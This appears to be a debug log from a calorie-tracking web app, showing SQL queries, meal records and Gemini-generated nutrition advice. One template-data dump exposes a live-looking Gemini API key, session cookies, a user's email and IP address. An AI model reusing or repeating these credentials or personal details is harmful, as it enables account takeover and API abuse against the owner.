      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T03:44:30.667Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '48',
    surplus_or_deficit: '2352',
    status_flag: 2
  }
]
2025-12-16T03:44:50.814Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T03:44:50.815Z server-connect:app Executing action step identify
2025-12-16T03:44:50.815Z server-connect:app options: { provider: 'security' }
2025-12-16T03:44:50.815Z server-connect:output identity: 1
2025-12-16T03:44:50.815Z server-connect:app Executing action step restrict
2025-12-16T03:44:50.815Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:44:50.815Z server-connect:output restrict: undefined
2025-12-16T03:44:50.815Z server-connect:app Executing action step processWithGemini
2025-12-16T03:44:50.815Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T03:45:12.988Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Idli (light fried)',
      quantity: '4 pieces (approx 200g idli + 6.75g oil)',
      total_calories: 290,
      protein: 7,
      carbs: 52,
      fat: 7.8,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
    },
    {
      food_name: 'Ketchup',
      quantity: '1 sachet (approx 12g)',
      total_calories: 12,
      protein: 0.1,
      carbs: 2.9,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
    }
  ],
  total_macros: {
    total_calories: 302,
    total_protein: 7.1,
    total_carbs: 54.9,
    total_fat: 7.8,
    unit: 'grams'
  }
}
2025-12-16T03:45:18.382Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T03:45:18.382Z server-connect:app Executing action step identify
2025-12-16T03:45:18.382Z server-connect:app options: { provider: 'security' }
2025-12-16T03:45:18.383Z server-connect:output identity: 1
2025-12-16T03:45:18.383Z server-connect:app Executing action step restrict
2025-12-16T03:45:18.383Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:45:18.383Z server-connect:output restrict: undefined
2025-12-16T03:45:18.383Z server-connect:app Executing action step condition
2025-12-16T03:45:18.383Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T03:45:18.383Z server-connect:app Executing action step repeat
2025-12-16T03:45:18.383Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T03:45:18.383Z server-connect:app Executing action step insert
2025-12-16T03:45:18.383Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T03:45:18.384Z server-connect:output calories: { affected: 1, identity: 403 }
2025-12-16T03:45:18.384Z server-connect:app Executing action step insert
2025-12-16T03:45:18.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T03:45:18.385Z server-connect:output calories: { affected: 1, identity: 404 }
2025-12-16T03:45:18.385Z server-connect:output repeat: [ {}, {} ]
2025-12-16T03:45:18.385Z server-connect:output condition: undefined
2025-12-16T03:45:18.587Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T03:45:18.587Z server-connect:app Executing action step identify
2025-12-16T03:45:18.587Z server-connect:app options: { provider: 'security' }
2025-12-16T03:45:18.587Z server-connect:output identity: 1
2025-12-16T03:45:18.587Z server-connect:app Executing action step restrict
2025-12-16T03:45:18.587Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T03:45:18.587Z server-connect:output restrict: undefined
2025-12-16T03:45:18.587Z server-connect:router Render template layouts/main
2025-12-16T03:45:18.588Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T03:45:19.176Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T03:45:19.177Z server-connect:app Executing action step identify
2025-12-16T03:45:19.177Z server-connect:app options: { provider: 'security' }
2025-12-16T03:45:19.177Z server-connect:output identity: 1
2025-12-16T03:45:19.177Z server-connect:app Executing action step restrict
2025-12-16T03:45:19.177Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:45:19.177Z server-connect:output restrict: undefined
2025-12-16T03:45:19.177Z server-connect:app Executing action step select
2025-12-16T03:45:19.177Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T03:45:19.180Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T03:45:19.181Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T03:45:19.182Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T03:45:19.182Z server-connect:app Executing action step identify
2025-12-16T03:45:19.182Z server-connect:app options: { provider: 'security' }
2025-12-16T03:45:19.183Z server-connect:output identity: 1
2025-12-16T03:45:19.183Z server-connect:app Executing action step restrict
2025-12-16T03:45:19.183Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:45:19.183Z server-connect:app Executing action step identify
2025-12-16T03:45:19.183Z server-connect:app options: { provider: 'security' }
2025-12-16T03:45:19.183Z server-connect:output identity: 1
2025-12-16T03:45:19.183Z server-connect:app Executing action step restrict
2025-12-16T03:45:19.183Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:45:19.183Z server-connect:output restrict: undefined
2025-12-16T03:45:19.183Z server-connect:app Executing action step single
2025-12-16T03:45:19.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T03:45:19.184Z server-connect:output restrict: undefined
2025-12-16T03:45:19.184Z server-connect:app Executing action step single
2025-12-16T03:45:19.184Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T03:45:19.184Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T03:45:19.185Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T03:45:19.185Z server-connect:app Executing action step select
2025-12-16T03:45:19.185Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T03:45:19.186Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  }
]
2025-12-16T03:45:19.186Z server-connect:app Executing action step setvalue
2025-12-16T03:45:19.186Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T03:45:19.186Z server-connect:output var_total: 350
2025-12-16T03:45:19.186Z server-connect:app Executing action step setvalue
2025-12-16T03:45:19.186Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T03:45:19.186Z server-connect:output var_consumed: 15
2025-12-16T03:45:19.186Z server-connect:app Executing action step setvalue
2025-12-16T03:45:19.186Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T03:45:19.186Z server-connect:output var_deficit: 2050
2025-12-16T03:45:19.186Z server-connect:app Executing action step custom
2025-12-16T03:45:19.186Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
